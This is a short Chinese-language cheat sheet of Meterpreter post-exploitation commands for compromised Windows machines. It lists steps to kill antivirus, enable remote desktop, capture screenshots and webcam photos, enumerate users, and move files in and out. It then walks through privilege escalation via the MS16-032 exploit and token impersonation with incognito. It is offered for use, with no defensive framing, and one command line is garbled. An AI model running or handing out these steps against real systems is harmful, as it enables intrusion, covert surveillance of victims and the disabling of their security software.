|
后渗透攻击： 介绍常用的一些命令： 查看进程：ps 查看当前进程号：getpid 查看系统信息：sysinfo 查看目标机是否为虚拟机：run post/windows/gather/checkvm 查看完整网络设置：route 查看当前权限：getuid 自动提权：getsystem 关闭杀毒软件：run post/windows/manage/killav 启动远程桌面协议：run post/windows/manage/enable_rdp 列举当前登录的用户：run post/windows/gather/enum_logged_on_users 查看当前应用程序：run post/windows/gather/enum_applications 抓取目标机的屏幕截图：load espia ； screengrab 抓取摄像头的照片：webcam_snap 查看当前处于目标机的那个目录：pwd 查看当前目录：getlwd 搜索指定类型文件：search -f *.txt -d c:\ 下载文件：download c:\est.txt /root 上传文件：upload /root/test.txt c:\
在成功创建了meterpreter会话后，要开启远程桌面协议，被告知权限不允许，这个时候就需要提权。 提权操作： 1）利用EXP进行提权 输入： Wmic qfe get Caption,Description,HotFixID,InstalledOn 查看目标机打的补丁 这里利用MS16_032本地溢出进行提权：过程如下： 在shell中查看whoami（直接用getuid就行），提权成功 2）假冒立牌进行提权 令牌窃取： 密保令牌：是一种计算机身份校验的物理设备，也叫认证令牌，硬件令牌，比如u盾 访问令牌：表示访问控制操作主题的系统对象 会话令牌：交互会话中唯一否认身份标识符
假冒令牌：在假冒令牌中，需要用到Kerberos协议（一种网络认证协议，通过密钥系统为客户机/服务器应用程序提供强大的认证服务）
查看有哪些可以使用的令牌 use incognitomo list_tokens -u 使用命令impersonate_token hostname\\username 在shell中查看whoami，提权成功 提权成功后，就能成功开启远程桌面协议，等原先权限不允许的操作了。
| 
